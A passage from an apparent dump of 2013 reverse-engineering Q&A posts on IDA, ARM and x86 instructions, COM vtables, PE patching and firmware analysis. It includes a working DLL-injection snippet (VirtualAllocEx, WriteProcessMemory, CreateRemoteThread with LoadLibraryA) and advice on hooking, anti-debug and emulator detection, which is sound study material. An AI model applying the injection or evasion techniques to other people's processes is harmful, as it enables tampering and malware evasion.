mov     bx, word ptr (glb_AnArray-6)[di]\n
\n\n

because the pointer is actually a pointer to an array (of elements with size 6) that is indexed starting from 1. Bonus points if it's possible to transform it to something like this:

\n\n
mov     bx, word ptr glb_AnArray[di+6]\n
\n\n

So the question is: How can I tell IDA to take a specific address as base?

\n", "Title": "How to manually set the base address of a pointer in IDA?", "Tags": "|ida|", "Answer": "

I believe ctrl+R should be what you're looking for (highlight aSomeString before you press the key combo).

\n\n

Alternatively you can use the menu Edit->Operand type->Offset->Offset user defined

\n" }, { "Id": "2774", "CreationDate": "2013-09-09T19:50:13.730", "Body": "

I disassembled a file with OllyDbg and it had the following instruction:

\n\n
REPNE SCAS BYTE PTR ES:[EDI]\n
\n\n

What does that exactly mean ?

\n", "Title": "What does the assembly instruction 'REPNE SCAS BYTE PTR ES:[EDI]'?", "Tags": "|assembly|ollydbg|", "Answer": "

The SCAS instruction is used to scan a string (SCAS = SCan A String). It compares the content of the accumulator (AL, AX, or EAX) against the current value pointed at by ES:[EDI].

\n\n

When used together with the REPNE prefix (REPeat while Not Equal), SCAS scans the string searching for the first string element which is equal to the value in the accumulator.

\n\n

The Intel manual (Vol. 1, p.231) says:

\n\n
\n

The SCAS instruction subtracts the destination string element from the contents of the EAX, AX, or AL register (depending on operand length) and updates the status flags according to the results. The string element and register contents are not modified. The following \u201cshort forms\u201d of the SCAS instruction specify the operand length: SCASB (scan byte string), SCASW (scan word string), and SCASD (scan doubleword string).

\n
\n\n

So, basically, this instruction scan a string and look for the same character than the one stored in EAX. It won't touch any registers other than ECX (counter) and EDI (address) but the status flags according to the results.

\n" }, { "Id": "2778", "CreationDate": "2013-09-10T09:12:17.270", "Body": "

How can I detect whether an application is using anti-debug techniques? I'm using OllyDbg (2.01beta).

\n", "Title": "How can I tell if an app is using anti-debug techniques?", "Tags": "|ollydbg|anti-debugging|", "Answer": "

Peter Ferrie has written a nice paper on this: The \"Ultimate\" Anti-Debugger Reference. A lot of techniques exist, like timing, checking if a process is running named OllyDBG for example. Sometimes people come up with new ideas. Step though your program and try to detect yourself if the program acts differently due to your debugging / olly or vmware (if this is the case).

\n" }, { "Id": "2787", "CreationDate": "2013-09-13T10:19:30.487", "Body": "

I am working on some disassembly from an NEC 78K0R. Most functions have parameters passed in registers, but there are some functions that have compile time defined parameters passed using a method I have not seen before.

\n\n

Execution of instructions is from flash.

\n\n

The function, 0x4c4, is called as follows:

\n\n
027d9        fdc404      CALL            !4C4H\n027dc        02          ?               ?\n027dd        75          MOV             D,A\n
\n\n

The return address is set to 0x27dc and put into the stack.

\n\n

The function itself is as follows:

\n\n
// Entry point from call\n004c4        c1          PUSH            AX\n004c5        c3          PUSH            BC\n004c6        c5          PUSH            DE\n004c7        c7          PUSH            HL\n\n// Get the stack pointer into HL\n004c8        aef8        MOVW            AX,SP\n004ca        16          MOVW            HL,AX\n004cb        c7          PUSH            HL\n\n// Preserve the ES (extended segment) register used for addressing\n004cc        8efd        MOV             A,ES\n004ce        c1          PUSH            AX\n\n// Retreive SP + 0x0A - this is the ES part of the return address\n004cf        8c0a        MOV             A,[HL+0AH] \n004d1        9efd        MOV             ES,A\n\n// Retreive SP + 0x8 - this is the lower two bytes of return address\n004d3        ac08        MOVW            AX,[HL+8H] \n004d5        16          MOVW            HL,AX\n\n// Take the contents of memory from the return address into A\n004d6        118b        MOV             A,ES:[HL]\n\n// Not relevant to question\n004d8        74          MOV             E,A\n004d9        c0          POP             AX\n004da        9efd        MOV             ES,A\n004dc        5500        MOV             D,#0H\n\n// HL is the original return address - shift up one to skip to instruction and store back into stack\n004de        a7          INCW            HL\n004df        17          MOVW            AX,HL\n004e0        c6          POP             HL\n004e1        bc08        MOVW            [HL+8H],AX\n
\n\n

So, in short - the parameter 02 is stored in the flash memory in the next address. This is retrieved by using the return address from the stack, and then the return address in the stack in incremented by one so that we get to the next real instruction.

\n\n

The function shifts about the contents of the stack, but I do not think this is material to the problem.

\n\n

I've not seen this method used before - it's rather curious. I can't work out why it would be done - that's a lot of instructions required, as compared to doing:

\n\n
MOV A,#2\nCALL !4c4H\n<use A as parameter>\n
\n\n

Has anyone got any insights to why this has been done like this?

\n\n

Edit

\n\n

As requested, the entire function:

\n\n
004c4        c1          PUSH            AX\n004c5        c3          PUSH            BC\n004c6        c5          PUSH            DE\n004c7        c7          PUSH            HL\n    004c8        aef8        MOVW            AX,SP\n    004ca        16          MOVW            HL,AX\n    004cb        c7          PUSH            HL\n        004cc        8efd        MOV             A,ES\n        004ce        c1          PUSH            AX\n            004cf        8c0a        MOV             A,[HL+0AH] \n            004d1        9efd        MOV             ES,A\n            004d3        ac08        MOVW            AX,[HL+8H] \n            004d5        16          MOVW            HL,AX\n            004d6        118b        MOV             A,ES:[HL]\n            004d8        74          MOV             E,A\n        004d9        c0          POP             AX\n        004da        9efd        MOV             ES,A\n        004dc        5500        MOV             D,#0H\n        004de        a7          INCW            HL\n        004df        17          MOVW            AX,HL\n    004e0        c6          POP             HL\n    004e1        bc08        MOVW            [HL+8H],AX\n    004e3        17          MOVW            AX,HL\n    004e4        25          SUBW            AX,DE\n    004e5        bef8        MOVW            SP,AX\n    004e7        c5          PUSH            DE\n        004e8        14          MOVW            DE,AX\n        004e9        320c00      MOVW            BC,#0CH\n        004ec        8b          MOV             A,[HL]\n        004ed        99          MOV             [DE],A\n        004ee        a7          INCW            HL\n        004ef        a5          INCW            DE\n        004f0        b3          DECW            BC\n        004f1        6171        XOR             A,A\n        004f3        616a        OR              A,C\n        004f5        616b        OR              A,B\n        004f7        dff3        BNZ             $4ECH\n    004f9        c2          POP             BC\n    004fa        aef8        MOVW            AX,SP\n    004fc        040c00      ADDW            AX,#0CH\n    004ff        14          MOVW            DE,AX\n    00500        3620fe      MOVW            HL,#0FE20H\n    00503        fd6104      CALL            !461H\n00506        c6          POP             HL\n00507        c4          POP             DE\n00508        c2          POP             BC\n00509        c0          POP             AX\n0050a        d7          RET      \n
\n\n

Sub 461 called from above:

\n\n
            00461        c1          PUSH            AX\n            00462        c3          PUSH            BC\n        00463        61dd        PUSH            PSW\n            00465        17          MOVW            AX,HL\n            00466        25          SUBW            AX,DE\n            00467        de18        BNC             $481H\n            00469        37          XCHW            AX,HL\n            0046a        03          ADDW            AX,BC\n            0046b        37          XCHW            AX,HL\n            0046c        35          XCHW            AX,DE\n            0046d        03          ADDW            AX,BC\n            0046e        35          XCHW            AX,DE\n            0046f        61cd        POP             PSW\n            00471        b7          DECW            HL\n            00472        b5          DECW            DE\n            00473        8b          MOV             A,[HL]\n            00474        99          MOV             [DE],A\n            00475        b3          DECW            BC\n            00476        6171        XOR             A,A\n            00478        616a        OR              A,C\n            0047a        616b        OR              A,B\n            0047c        dff3        BNZ             $471H\n        0047e        ee1000      BR              $!491H\n        00481        61cd        POP             PSW\n        00483        c5          PUSH            DE \n        00484        c7          PUSH            HL\n            00485        8b          MOV             A,[HL]\n            00486        99          MOV             [DE],A\n            00487        a7          INCW            HL\n            00488        a5          INCW            DE\n            00489        b3          DECW            BC\n            0048a        13          MOVW            AX,BC\n            0048b        6168        OR              A,X\n            0048d        dff6        BNZ             $485H\n        0048f        c6          POP             HL\n        00490        c4          POP             DE\n    00491        c2          POP             BC\n    00492        c0          POP             AX\n    00493        d7          RET  \n
\n\n

And also the pre/post of the call:

\n\n
024fe        c5          PUSH            DE\n024ff        fdc404      CALL            !4C4H\n02502        06          \n02503        9d24        MOV             0FFE24H,A\n02505        33          XCHW            AX,BC\n02506        bd20        MOVW            0FFE20H,AX\n
\n", "Title": "Passing parameter using data at return address (read from stack) in NEC 78K0R", "Tags": "|disassembly|nec-78k0r|", "Answer": "

This approach (function call followed by data) is very often used to implement switches/table jumps, especially on platforms with limited flash space (so they prefer to not inline switch code but use a helper routine). I've seen it done on ARM, 8051 and some other CPUs. Since the switch data (values and offsets) is not going to change, it makes sense to put it into the code flash space.

\n\n

EDIT: thanks for the full listing. So apparently that value is used to decrement SP, then 12 bytes of saved registers are copied there, then something else happens in sub 461H.

\n\n

At a guess, this sets up the caller's function frame (allocates space for local vars). As to why it's a code byte and not a direct argument, I have only one theory: to save flash space because only one byte is necessary as opposed to the MOV (at least 2 bytes) or MOV + PUSH (at least 3 bytes) instructions.

\n\n

I'd suggest finding out which compiler was used for this code (Renesas? KPIT?) and searching for this function in runtime libraries. The symbols should help here.

\n\n

EDIT2: sub 461 seems to be memmove(DE, HL, BC) with copy direction detection. So it's copying N bytes from FE20 into the newly allocated stack space. Weird stuff.

\n" }, { "Id": "2789", "CreationDate": "2013-09-14T06:29:39.870", "Body": "

I'm trying to load a struct defined in a program that i'm reading the memory of, so I can use it to define objects in my python debugger (in windows).

\n\n

What format do structs take in memory, and what information can i get from finding the struct.\nIs it possible to find the offsets for all attributes, and all objects linking to the struct?

\n\n

I'd prefer to be able to do this without using breakpoints, but I can use them if there is no other way.

\n", "Title": "Read a struct from memory", "Tags": "|windows|python|c|struct|", "Answer": "

You should rather ask your questions with some kind of example output so that answers are not based on guesswork.

\n\n

Does iam loading the struct mean

\n\n\n\n

or does it mean

\n\n\n\n

Assuming you use ReadProcessMemory \nthe buffer you provided will be filled with bytes. It is up to you to cast it to proper type for accessing various members of the struct \n(yes you need a valid prototype of the structure beforehand).

\n\n

A pseudo form could be like this

\n\n
type result;\nBYTE foo[0x100];\nMystruct *blah;\nint s1;\nPSTR s2;\nresult = ReadProcessMemory(where,howmuch,destination,VerifiactionPointer)\nblah = (MyStruct *)destination;\ns1 = blah->someint;\ns2 = blah->somestring;\n
\n\n

Memory you see will always contain hex bytes that are indistinguishable from one another. It is like clay in the hands of a potter.

\n\n

Only the artisan can give it form. Clay by itself can never become a statue or a finely crafted teapot.

\n" }, { "Id": "2790", "CreationDate": "2013-09-14T06:57:53.203", "Body": "

After opening a PE file with a disassembler, I know which instructions I have to patch. And if I have to add some data I can adjust the PE file structure manually so that it gets parsed correctly and executes.

\n\n

Example,\nReplace EB 1C with E9 1C FD

\n\n

Now, the question. I have to modify multiple locations and manually adjusting values is killing me. Can I do this with code.google.com/p/pefile from python, which I am assuming will help in adjusting? Or is there any other module I can use? Some sample code I can find?

\n", "Title": "Patching PE File - Adding data", "Tags": "|pe|", "Answer": "

It is not that easy, or it is rather error prone. If you are going to insert 3 bytes in place of 2 bytes, you would be better off if you do a trampoline: jump to some other place, do what you want, then jump back to the next instruction. By employing trampolining, you can also save the registers.

\n\n

A small sample could be like this:

\n\n
jmp SomePlace  <---destroy old bytes and insert an unconditional jump  \nNextInst:      <----|_________________________  \n ..                                           |    \nSomePlace:                                    |   \n\"dancing with wolves\"                         |  \njmp NextInst <------- this will jump back to->|  \n
\n\n

In the case, if you are interested in replacing two bytes with two bytes, then almost all hex editors have some form of search and replace functionality.

\n\n

Or you can write a simple script in your favorite utility.

\n\n

A simple windbg example script for replacing all the push XXXX 68 XXXXXX bytes to EB FE. This example is a prototype, you need to tweak it based on the pattern you get:

\n\n
.foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } \n
\n\n

All what this does is search the disassembly for the pattern 68?? (blind search can alter unintended data, use with caution).

\n\n

When it is found, it uses the address where it was found to replace the two bytes 68XX with EB FE.

\n\n

It does this for all the bytes that are found in a given range. In addition to this, it also prints out the assembly prior to modification and after modification:

\n\n
# 68??  pattern search command in windbg \n401000 l?0x20  start search from 0x401000 end at 401020 \nu place l1 disassemble one instruction when pattern found\new place feeb  write word 0xfeeb at found address  \ndis assemble again\nloop with foreach where ps and pS are skip before and skip after bytes \n
\n\n

A sample output of the above script:

\n\n
0:000> .foreach /pS4 /ps 9 ( place { # 68?? 401000 l?0x20} ) {u place L1;ew place feeb;u place L1 } \nmsgbox!start+0x2 [msgbox.asm @ 17]:\n00401002 6800304000      push    offset msgbox!MsgCaption (00403000)\nmsgbox!start+0x2 [msgbox.asm @ 17]:\n00401002 ebfe            jmp     msgbox!start+0x2 (00401002)\nmsgbox!start+0x7 [msgbox.asm @ 17]:\n00401007 6819304000      push    offset msgbox!MsgBoxText (00403019)\nmsgbox!start+0x7 [msgbox.asm @ 17]:\n00401007 ebfe            jmp     msgbox!start+0x7 (00401007)\n
\n" }, { "Id": "2793", "CreationDate": "2013-09-14T15:20:45.010", "Body": "

So i just read a little bit about how one would go about for injecting a dll into a running program on Wikipedia (the CreateRemoteThread idea). I followed the steps described and eventually got it working. The thing i found interesting though which took some time to figure out are the following: When creating my remote thread and sending in the function i would like to be run as the first/starting one i hit a snag, when it was run it failed to call the proper functions, they seemed to turn into rubbish when i looked at them in OllyDBG which in turn resulted in the program crashing down on me. The code i used then was something along these lines:

\n\n
static DWORD __stdcall inject(LPVOID threadParam)\n{\n    MessageBoxA(NULL, \"test\", \"test\", NULL);\n    LoadLibrary(\"my.dll\");\n    return 0;\n}\n
\n\n

And somewhere else:

\n\n
CreateRemoteThreadEx(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(fnPageBase), dbPageBase, 0, NULL, &threadId);\n
\n\n

Where fnPageBase is the memory I've allocated in the to be injected process for my function and dbPageBase the memory I've allocated for a struct that is passed as the LPVOID threadParam.

\n\n

Something like that, the problem was that both MessageBoxA and LoadLibrary didn't get a proper address it would seem, when i checked them in OllyDBG they always pointed to something that didn't exist. I googled around a little and found out that i should be using GetProcAddr to get a address to ie: LoadLibrary which i could later use by sending in some data via the LPVOID threadParam in my inject() call. So my question is: Why does it work when i use the GetProcAddr and not when I just try to use it \"normally\"? Do I get some specific address that's always mapped in for everyone in the same region in memory when using that?

\n\n

Also, what happens to my strings in the inject() function? Are they moved to some other place during compile which makes them unavailable to the program i'm injecting since it's in a totally different place of the memory (i.e., it's not mapped to there?)? I worked that around by sending that along in a struct with the LPVOID threadParam aswell in a struct that i had copied over to memory available to the .exe I was injecting.

\n\n

If you need more info on how I did the other parts please do tell and I'll update.

\n", "Title": "Dll injection and GetProcAddress with the winapi", "Tags": "|windows|dll|c++|dll-injection|", "Answer": "

One thing you need to keep in mind is that code in your process and the code in the target process reside in different address spaces. So any address in your program is not necessary valid in the target process and vice versa.

\n\n

This means the code that you inject cannot make any assumptions about addresses of functions or variables. Even your inject function's address is valid only in your process; to make it available in the target process you'd have to: 1) copy the code there; and 2) make sure any functions or memory addresses it refers to are valid in the new address space.

\n\n

That's why the normal approach used with CreateRemoteThreadEx is to copy the DLL name to the target process and create the thread using the address of the LoadLibrary function:

\n\n
// 1. Allocate memory in the remote process for szLibPath\npLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),\n                               MEM_COMMIT, PAGE_READWRITE );\n\n// 2. Write szLibPath to the allocated memory\n::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,\n                      sizeof(szLibPath), NULL );    \n\n// Load \"LibSpy.dll\" into the remote process\n// (via CreateRemoteThread & LoadLibrary)\nhThread = ::CreateRemoteThread( hProcess, NULL, 0,\n            (LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,\n                                       \"LoadLibraryA\" ),\n             pLibRemote, 0, NULL );\n
\n\n

(snippet from Code Project)

\n\n

You can see that pLibRemote (with the address of the DLL name in the target process) is passed as the parameter to the thread routine. So the result of this is equivalent to:

\n\n
LoadLibraryA(pLibRemote);\n
\n\n

executed in the target process.

\n\n

Strictly speaking, this is not guaranteed to work because the address of LoadLibraryA in your process is not necessarily the same as LoadLibraryA in the other process. However, in practice it does work because system DLLs like kernel32 (where LoadLibraryA resides) are mapped to the same address in all processes, so LoadLibraryA also has the same address in both processes.

\n" }, { "Id": "2805", "CreationDate": "2013-09-18T04:55:51.537", "Body": "

I've been given a program that emulates the Windows API. I'm attempting to find flaws in this emulator where it either:

\n\n
    \n
  1. Always returns a constant value, regardless of the host system (Useful for fingerprinting)\n
    2. \n
  2. Returns the real value from bare metal (Emulator leaking real information)\n
    3. \n
\n\n

Instead of writing functions to test the return values from various functions in the Windows API, I'm looking for a way to automate code generation (preferably in C/C++) to query a large number of functions provided by the WinAPI . Is anything like this possible or has it been done for other projects that I could leverage?

\n", "Title": "Detecting an emulator using the windows api", "Tags": "|winapi|", "Answer": "

Previous answer is good. I would say this depends on machine and emulator. There are many more tricks to recognize emulators.

\n\n

You might look at the environment, is there an emultor in the file system? Is the number of running applications indicating a virtual application?

\n\n

Ask the operating system whether the application is debugged; different methods exist, most are easily defeated.

\n\n

I have a program which measures the execution time between close instructions. If the machine does not have hardware support for emulation, this is pretty reliable.

\n\n

Use google for anti-debug

\n\n

Chris Jacobi

\n" }, { "Id": "2814", "CreationDate": "2013-09-20T11:37:49.667", "Body": "

I'm trying to get jailbreak statistics for a University project related to security in mobile devices. My purpose is to disassemble, add a sample code and re-assemble to obtain a runnable iOS app again.

\n\n

I have read a lot about IDA, IDA pro, HEX-Rays, and o'tool to disassemble an ipa file.

\n\n

Since i'm working with a macbook pro, i think that using otool to disassemble an '.ipa' file is the best and faster way. I have tried it with a non-signed .ipa and I have obtained the assembly code.

\n\n

Then, I have difficulties. I have tried to create a new Xcode project, import this assembly code and try to compile it to generate a new app, without inserting new code just to simplify the process.

\n\n

But when i tried to compile, Xcode fails in every single code line.

\n\n

I think that my problem is, that the process described:

\n\n
    \n
  1. Disassemble with otool
    2. \n
  2. Import the code in XCode
    3. \n
  3. Compile and build
    4. \n
  4. Obtain the new app
    5. \n
\n\n

Is not correct.

\n", "Title": "Disassemble, edit and re-assembly iOS ipa apps", "Tags": "|disassembly|assembly|ios|", "Answer": "

Depending on your need

\n

If you need to change the behavior of Objective-C (possibly also Swift) methods or classes, it is way easier to create a tweak for the app. There are also many advantages in doing so, one of them being that a tweak can be un/-installed easily at a large scale (just create a source for Cydia with your tweak).

\n

Note that if you need a one-time and non permanent change, consider using Cycript instead. It is really straightforward (cycript.org). Just inspect the target app's headers with Clutch and class-dump-z in order to have an idea of what you want to modify and you're good to go.

\n

Creating a tweak

\n

In order to create a tweak, you can use iOSOpenDev (and its Logos template) or Theos. iOSOpendev allows you to create your tweak in Xcode and install it to your device, making it really convenient to use.

\n" }, { "Id": "2817", "CreationDate": "2013-09-20T19:58:50.470", "Body": "

I am working on automating some functionality within a closed-source third party application; I want to automate the creation of \"Project Files\" (in its simplest form, just a collection of video files in a specific order). The video files which this application works with each have an associated metadata file, and I have already managed to understand and recreate 99% of its format. Both these \"project files\" and the metadata files are more-or-less plain XML (with some strange tag names I have yet to decipher).

\n\n

Basically, I want to know what methods I can use to determine the format of these project files so that I can write my own and reference the video files I have chosen in the prior part of my script.

\n\n

There are many DLL files in the applications directory, and I was thinking that maybe monitoring their use during a save operation (of a project file in the application) could point me in the right direction? If so, how could I go about this? I have also began learning DLL injection, and was wondering if this could be of use?

\n", "Title": "Reverse engineer a proprietary save/file format structure", "Tags": "|disassembly|windows|file-format|dll|", "Answer": "

Ok, this can be tackled in a great number of ways. As you recently learned DLL injection a fun exercise is to use this knowledge to overwrite a function :)

\n\n

A good start is the Inline Hooking in Windows Presentation by High-Tech Bridge and this codeproject page. What you do is overwrite the function. What you'll have to to in order to redirect the WriteFileA to your own write function. This allows you to trace-back by walking the return values to determine the flow of the data. You can also examine the way data is written (once or by chunks).

\n\n

You can also Trace the application, check the addresses of data that is collected, see if it gets parsed though some kind of encryption or compression algorithm.

\n\n

Hope I am some form of help. :)

\n" }, { "Id": "2822", "CreationDate": "2013-09-22T13:25:17.497", "Body": "

I'm reversing malware and it uses COM, which I evidently don't know. My question is how to find out what method is called using ppv (and objectstublessclient?)

\n\n
push    offset ppv      ; Address of pointer variable that receives the interface pointer requested in riid\npush    offset IShellWindows \npush    7              \npush    0               \npush    offset rclsid   \ncall    ds:_CoCreateInstance\n\nmov     ebx, eax\nmov     eax, num4\nmovsx   edx, num8\nadd     eax, edx\nsub     eax, 0Ch\ncmp     ebx, eax        ; S_OK, operation successful\njnz     exit\n\nlea     eax, [ebp+var_C]    ;?\npush    eax\nmov     eax, ppv\npush    eax\nmov     edi, [eax]\ncall    dword ptr [edi+1Ch] ; ObjectStublessClient7\n
\n\n

I guessed that the last called function is objectStublessClient7 given that there are three methods(queryinterface etc) and then objectStublessClient's (and code looks like it). (Is that right?)

\n\n

According to this Microsoft article:

\n\n
\n

ObjectStubless simply calls into ObjectStublessClient, passing the method index (from ecx) as a parameter. Finally, ObjectStublessClient teases out the format strings from the vtable and jumps to NdrClientCall2. Like NdrStubCall2, this RPCRT4.DLL routine performs the interpretive marshaling and unmarshaling just as if a compiled proxy and stub were in use.

\n
\n\n

What does ObjectStublessClient actually do in simple words? Calls a method by its index? If so, then in my case it will be OnActivate of IShellWindows interface? It looks like the arguments don't match (does the first one look like this?)

\n", "Title": "COM interface methods", "Tags": "|disassembly|windows|com|", "Answer": "

The traditional way to determine the function pointed to by [edi+1Ch] is as follows:

\n\n

Find the Interface Definition Language (IDL) file for the given interface. In your case, the interface is IShellWindows. According to the documentation for IShellWindows, its interface is defined in IDL file Exdisp.idl. That IDL file is included in the Windows SDK (downloadable for free), and will be installed to a location such as C:\\Program Files\\Microsoft SDKs\\Windows\\v7.1A\\Include\\Exdisp.idl. You can open that Exdisp.idl file with a text editor to see the Interface Definition of IShellWindows:

\n\n
[\n    uuid(85CB6900-4D95-11CF-960C-0080C7F4EE85),     // IID_IShellWindows\n    helpstring(\"Definition of interface IShellWindows\"),\n    oleautomation,\n    dual,\n    odl,\n]\ninterface IShellWindows : IDispatch\n{\n    //Properties\n    [propget, helpstring(\"Get count of open Shell windows\")]\n    HRESULT Count([out, retval] long *Count);\n\n    //Methods\n    [id(0), helpstring(\"Return the shell window for the given index\")]\n    HRESULT Item([in,optional] VARIANT index, [out, retval]IDispatch **Folder);\n\n    [id(-4), helpstring(\"Enumerates the figures\")]\n    HRESULT _NewEnum([out, retval] IUnknown **ppunk);\n\n    // Some private hidden members to allow shell windows to add and\n    // remove themself from the list.  We mark them hidden to keep\n    // random VB apps from trying to Register...\n    [helpstring(\"Register a window with the list\"), hidden]\n    HRESULT Register([in] IDispatch *pid,\n                     [in] long hwnd,\n                     [in] int swClass,\n                     [out]long *plCookie);\n\n    [helpstring(\"Register a pending open with the list\"), hidden]\n    HRESULT RegisterPending([in] long lThreadId,\n                     [in] VARIANT* pvarloc,     // will hold pidl that is being opened.\n                     [in] VARIANT* pvarlocRoot, // Optional root pidl\n                     [in] int swClass,\n                     [out]long *plCookie);\n\n    [helpstring(\"Remove a window from the list\"), hidden]\n    HRESULT Revoke([in]long lCookie);\n    // As an optimization, each window notifies the new location\n    // only when\n    //  (1) it's being deactivated\n    //  (2) getFullName is called (we overload it to force update)\n    [helpstring(\"Notifies the new location\"), hidden]\n    HRESULT OnNavigate([in]long lCookie, [in] VARIANT* pvarLoc);\n    [helpstring(\"Notifies the activation\"), hidden]\n    HRESULT OnActivated([in]long lCookie, [in] VARIANT_BOOL fActive);\n    [helpstring(\"Find the window based on the location\"), hidden]\n    HRESULT FindWindowSW([in] VARIANT* pvarLoc,\n                         [in] VARIANT* pvarLocRoot, /* unused */\n                         [in] int swClass,\n                         [out] long * phwnd,\n                         [in] int swfwOptions,\n                         [out,retval] IDispatch** ppdispOut);\n    [helpstring(\"Notifies on creation and frame name set\"), hidden]\n    HRESULT OnCreated([in]long lCookie,[in] IUnknown *punk);\n\n    [helpstring(\"Used by IExplore to register different processes\"), hidden]\n    HRESULT ProcessAttachDetach([in] VARIANT_BOOL fAttach);\n}\n
\n\n

We can see that the IShellWindows interface has the following vtable entries:

\n\n
- Count()\n- Item()\n- _NewEnum()\n- Register()\n- RegisterPending()\n- Revoke()\n- OnNavigate()\n- OnActivated()\n- FindWindowSW()\n- OnCreated()\n- ProcessAttachDetach()\n
\n\n

However, you can also see in the IDL that the IShellWindows interface inherits from IDispatch. IDispatch has the following vtable entries (from OAIdl.idl):

\n\n
- GetTypeInfoCount()\n- GetTypeInfo()\n- GetIDsOfNames()\n- Invoke()\n
\n\n

The IDL for IDispatch in OAIdl.idl also specifies that IDispatch inherits from IUnknown. IUnknown has the following vtable entries (from Unknwn.idl):

\n\n
- QueryInterface()\n- AddRef()\n- Release()\n
\n\n

So now we know that IShellWindows inherits from IDispatch, which inherits from IUnknown. As such, the full layout of the vtable for IShellWindows is as follows:

\n\n
*ppv+00h = QueryInterface()\n*ppv+04h = AddRef()\n*ppv+08h = Release()\n*ppv+0Ch = GetTypeInfoCount()\n*ppv+10h = GetTypeInfo()\n*ppv+14h = GetIDsOfNames()\n*ppv+18h = Invoke()\n*ppv+1Ch = Count()\n*ppv+20h = Item()\n*ppv+24h = _NewEnum()\n*ppv+28h = Register()\n...\n
\n\n

Looking back at your code, we see a call to *ppv+1Ch, which we see from our constructed vtable above is a call to the function IShellWindows::Count(), and &var_C is the pointer to IShellWindows::Count()'s [out, retval] long *Count parameter.

\n\n
\n\n

The dynamic way to determine the function pointed to by [edi+1Ch] is as follows:

\n\n

Run your code above in a debugger, set a breakpoint on call dword ptr [edi+1Ch], and see what function that instruction calls.

\n\n
\n\n

The easiest way to determine the function pointed to by [edi+1Ch] is as follows:

\n\n

Use COMView (wayback machine link to COMView) to inspect the IShellWindows interface:

\n\n

\"<code>IShellWindows</code>

\n\n

You can see in the screenshot above that the function at vtable offset 28 (1Ch) is Count().

\n" }, { "Id": "2825", "CreationDate": "2013-09-23T03:14:55.120", "Body": "

I am disassembling and reverse engineering the logic of an assembly routine written in ARMv7 (hope I'm using the right terminology, as I'm a newbie for this particular processor).

\n\n

In doing so, I came across this site: Introduction to ARM. In order to determine how much code I need to disassemble, first, I need to determine the length of the code. It is my understanding that I only need to look for [Bxx][2] (branch) instructions and instructions that alter the PC (program counter), for example,

\n\n\n\n

Can someone please advise if I have missed out any instructions that I need to look out for? Thank you.

\n", "Title": "How do I determine the length of a routine on ARMv7?", "Tags": "|disassembly|arm|", "Answer": "

In fact, there may be something like:

\n\n
.text:00192CB6                 POP             {R4}\n.text:00192CB8                 B.W             sub_268508\n.text:00192CB8 ; End of function XXX::YYY::zZz(void)\n
\n\n

IIRC I also have seen conditional branches leading outside of what I would expect to be function boundaries, but I cannot find any example now.

\n" }, { "Id": "2828", "CreationDate": "2013-09-23T15:51:42.213", "Body": "

I have some ARMv7 instructions that I do not understand, despite reading the reference at: ARM Information Center

\n\n

In the context of:

\n\n
  a7a4d8:   b530        push    {r4, r5, lr}\n  a7a4da:   466c        mov r4, sp\n  a7a4dc:   4605        mov r5, r0\n  a7a4de:   682a        ldr r2, [r5, #0]\n  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2\n  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14\n  a7a4e8:   4669        mov r1, sp\n  a7a4ea:   b082        sub sp, #8\n  a7a4ec:   466a        mov r2, sp\n  a7a4ee:   462b        mov r3, r5\n  a7a4f0:   f746 f1b8   bl  5c0864 <RoutineName>\n  a7a4f4:   9800        ldr r0, [sp, #0]\n  a7a4f6:   9901        ldr r1, [sp, #4]\n  a7a4f8:   46a5        mov sp, r4\n  a7a4fa:   bd30        pop {r4, r5, pc}\n
\n\n

What does the following do? Can someone explain in terms of pseudo-code?

\n\n
  a7a4de:   682a        ldr r2, [r5, #0]\n  a7a4e0:   ebad 0d02   sub.w   sp, sp, r2\n  a7a4e4:   f104 0014   add.w   r0, r4, #20 ; 0x14\n\n  a7a4f4:   9800        ldr r0, [sp, #0]\n  a7a4f6:   9901        ldr r1, [sp, #4]\n
\n", "Title": "What do the following ARM instructions mean?", "Tags": "|disassembly|arm|", "Answer": "

ldr r2, [r5, #0]
\nmeans r2=*(r5+0)
\nwhich loads the value pointed to by r5 and places it in r2.

\n\n

sub.w sp, sp, r2
\nmeans sp=sp-r2
\nwhich subtracts sp by the value in r2 (to allocate stack space).

\n\n

add.w r0, r4, #20 ; 0x14
\nmeans r0=r4+20
\nwhich adds 20 (decimal) to r4 and places the result in r0.

\n\n

ldr r0, [sp, #0]
\nmeans r0=*(sp+0)
\nwhich loads the value pointed to by sp and places it in r0.

\n\n

ldr r1, [sp, #4]
\nmeans r1=*(sp+4)
\nwhich loads the value pointed to by (sp+4) and places it in r1.

\n\n

In C pseudo-code it looks something like this:

\n\n
x_a7a4d8(dword *ptr_allocsize, void *arg1)\n{\n  alloca(*ptr_allocsize)\n  dword p2;\n  qword p1;\n  x_5c0864(&arg1, &p1, &p2, ptr_allocsize)\n  return p1;\n}\n
\n\n

so it allocates some space for the value returned by the 5c0864 routine (because it uses the stack to return the value), calls the 5c0864 routine, and returns the value returned by 5c0864.

\n" }, { "Id": "2830", "CreationDate": "2013-09-24T08:58:16.033", "Body": "

I'm trying to extract this firmware but I'm running into some issues. The first lecture of the firmware with binwalk shows this:

\n\n
DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n48          0x30        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 992240 bytes\n275832      0x43578     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 65011 bytes\n312165      0x4C365     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6425 bytes\n314338      0x4CBE2     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 6198 bytes\n316542      0x4D47E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 11645 bytes\n319496      0x4E008     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9923 bytes\n322366      0x4EB3E     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3981 bytes\n323721      0x4F089     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 1269 bytes\n324228      0x4F284     LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9785 bytes\n327024      